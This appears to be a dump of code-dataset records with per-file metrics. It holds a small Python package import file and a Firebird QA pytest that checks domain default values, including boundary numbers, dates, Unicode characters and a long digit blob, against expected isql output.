0.298507
1
0.029851
false
0
0.074627
0
0.104478
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b861c61a7880018f8f1ba14310545c1fcac005d0
189
py
Python
progmod/deriverte/__init__.py
NadderudVGS/ProgMod-Pakka
d359f24ac1417890e6c639f46f8c9b3931a925cf
[ "MIT" ]
1
2020-07-15T14:29:40.000Z
2020-07-15T14:29:40.000Z
progmod/deriverte/__init__.py
NadderudVGS/ProgMod-Pakka
d359f24ac1417890e6c639f46f8c9b3931a925cf
[ "MIT" ]
5
2020-02-13T18:09:30.000Z
2020-06-09T08:29:37.000Z
progmod/deriverte/__init__.py
NadderudVGS/ProgMod-Pakka
d359f24ac1417890e6c639f46f8c9b3931a925cf
[ "MIT" ]
null
null
null
from progmod.Deriverte.array import array from progmod.Deriverte.new_kvot import new_kvot from progmod.Deriverte.new_sym_kvot import new_sym_kvot from progmod.Deriverte.dobbel import dobbel
47.25
55
0.878307
30
189
5.333333
0.3
0.275
0.5
0.2875
0
0
0
0
0
0
0
0
0.079365
189
4
56
47.25
0.91954
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b8871b0028be7d0e992577feb50541e864815283
38,515
py
Python
tests/functional/gtcs/test_dsql_domain_12.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2022-02-05T11:37:13.000Z
2022-02-05T11:37:13.000Z
tests/functional/gtcs/test_dsql_domain_12.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2021-09-03T11:47:00.000Z
2021-09-03T12:42:10.000Z
tests/functional/gtcs/test_dsql_domain_12.py
FirebirdSQL/firebird-qa
96af2def7f905a06f178e2a80a2c8be4a4b44782
[ "MIT" ]
1
2021-06-30T14:14:16.000Z
2021-06-30T14:14:16.000Z
#coding:utf-8 # # id: functional.gtcs.dsql_domain_12 # title: GTCS/tests/DSQL_DOMAIN_12. Verify result of INSERT DEFAULT VALUES into a table with domain fields when domains are defined with DEFAULT value. # decription: # Original test see in: # https://github.com/FirebirdSQL/fbtcs/blob/master/GTCS/tests/DSQL_DOMAIN_12.script # # ::: NOTE ::: # Added domains with datatype that did appear only in FB 4.0: DECFLOAT and TIME[STAMP] WITH TIME ZONE. For this reason only FB 4.0+ can be tested. # # # Comment: This script will run level 1 testing, checking syntax of create # # domain using datatype and default clauses, then creating a table # # using the domain fields and inserting data to those fields, # # allowing missing data to be supplied by the default definitions # # for the domain. # # # For some datatypes (float, double precision) we also verify ability to use boundary values for datatype itself. # For character datatypes we use non-asci characters (currency signs: euro, cent, pound, yena). # # Currently following datatypes are NOT checked: # blob sub_type text|binary # long float; # binary(20); # varbinary(20); # # Checked on 4.0.0.1935. # # tracker_id: # min_versions: ['4.0'] # versions: 4.0 # qmid: None import pytest from firebird.qa import db_factory, isql_act, Action # version: 4.0 # resources: None substitutions_1 = [('[ \t]+', ' '), ('F16_BLOB_ID.*', '')] init_script_1 = """""" db_1 = db_factory(sql_dialect=3, init=init_script_1) test_script_1 = """ set bail on; set list on; set blob all; create domain dom12_01 as smallint default -32768; create domain dom12_02 as int default -2147483648; create domain dom12_03 as bigint default -9223372036854775807; --create domain dom12_03 as bigint default -9223372036854775808; -- currently raises error 'numeric overflow', see CORE-6291 create domain dom12_04 as date default '31.12.9999'; create domain dom12_05 as time default '23:59:59.999'; create domain dom12_06 as time with time zone default '11:11:11.111 Indian/Cocos'; create domain dom12_07 as timestamp default '01.01.0001 00:00:01.001'; create domain dom12_08 as timestamp with time zone default '21.12.2013 11:11:11.111 Indian/Cocos'; create domain dom12_09 as char(1) character set utf8 default '€'; create domain dom12_10 as varchar(1) character set utf8 default '€'; -- https://en.wikipedia.org/wiki/ISO/IEC_8859-1, -- see table "Languages with incomplete coverage", -- column "Typical workaround" for Hungarian 'Ő': create domain dom12_11 as nchar(1) default 'Ö' ; create domain dom12_12 as numeric(2,2) default -327.68; create domain dom12_13 as decimal(20,2) default -999999999999999999; -- Online evaluation of expressions: https://www.wolframalpha.com -- https://en.wikipedia.org/wiki/Single-precision_floating-point_format -- (largest number less than one): 1 - power(2,-24) create domain dom12_14 as float default 0.999999940395355224609375; -- https://en.wikipedia.org/wiki/Double-precision_floating-point_format -- Max Double: power(2,1023) * ( 1+(1-power(2,-52) ) create domain dom12_15 as double precision default 1.7976931348623157e308; create domain dom12_16 as blob default ' 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567 '; create domain dom12_17 as boolean default false; create domain dom12_18 as decfloat(16) default -9.999999999999999E+384; create domain dom12_19 as decfloat default -9.999999999999999999999999999999999E6144; commit; recreate table test( f01 dom12_01 ,f02 dom12_02 ,f03 dom12_03 ,f04 dom12_04 ,f05 dom12_05 ,f06 dom12_06 ,f07 dom12_07 ,f08 dom12_08 ,f09 dom12_09 ,f00 dom12_10 ,f11 dom12_11 ,f12 dom12_12 ,f13 dom12_13 ,f14 dom12_14 ,f15 dom12_15 ,f16_blob_id dom12_16 ,f17 dom12_17 ,f18 dom12_18 ,f19 dom12_19 ); commit; insert into test default values; set count on; select * from test; """ act_1 = isql_act('db_1', test_script_1, substitutions=substitutions_1) expected_stdout_1 = """ F01 -32768 F02 -2147483648 F03 -9223372036854775807 F04 9999-12-31 F05 23:59:59.9990 F06 11:11:11.1110 Indian/Cocos F07 0001-01-01 00:00:01.0010 F08 2013-12-21 11:11:11.1110 Indian/Cocos F09 € F00 € F11 Ö F12 -327.68 F13 -999999999999999999.00 F14 0.99999994 F15 1.797693134862316e+308 F16_BLOB_ID 80:0 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567 F17 <false> F18 -9.999999999999999E+384 F19 -9.999999999999999999999999999999999E+6144 Records affected: 1 """ @pytest.mark.version('>=4.0') def test_1(act_1: Action): act_1.expected_stdout = expected_stdout_1 act_1.execute() assert act_1.clean_stdout == act_1.clean_expected_stdout
80.744235
164
0.929975
1,050
38,515
34.029524
0.275238
1.802357
2.686743
3.559934
0.917439
0.914332
0.911757
0.909854
0.909854
0.907783
0
0.915417
0.058237
38,515
476
165
80.913866
0.069558
0.043645
0
0.785714
0
0.009524
0.985813
0.887859
0
1
0
0
0.002381
1
0.002381
false
0
0.004762
0
0.007143
0
0
0
1
null
1
1
1
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
1
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
16
b257cc3d3d3eb6ab0c93bf8cf602afc839dc894c
132
py
Python
deeptech/training/trainers/__init__.py
penguinmenac3/deeptech
0c7fb170d62f193dbbb2018f7b8d42f713178bb8
[ "MIT" ]
1
2020-10-10T10:11:54.000Z
2020-10-10T10:11:54.000Z
deeptech/training/trainers/__init__.py
penguinmenac3/deeptech
0c7fb170d62f193dbbb2018f7b8d42f713178bb8
[ "MIT" ]
null
null
null
deeptech/training/trainers/__init__.py
penguinmenac3/deeptech
0c7fb170d62f193dbbb2018f7b8d42f713178bb8
[ "MIT" ]
null
null
null
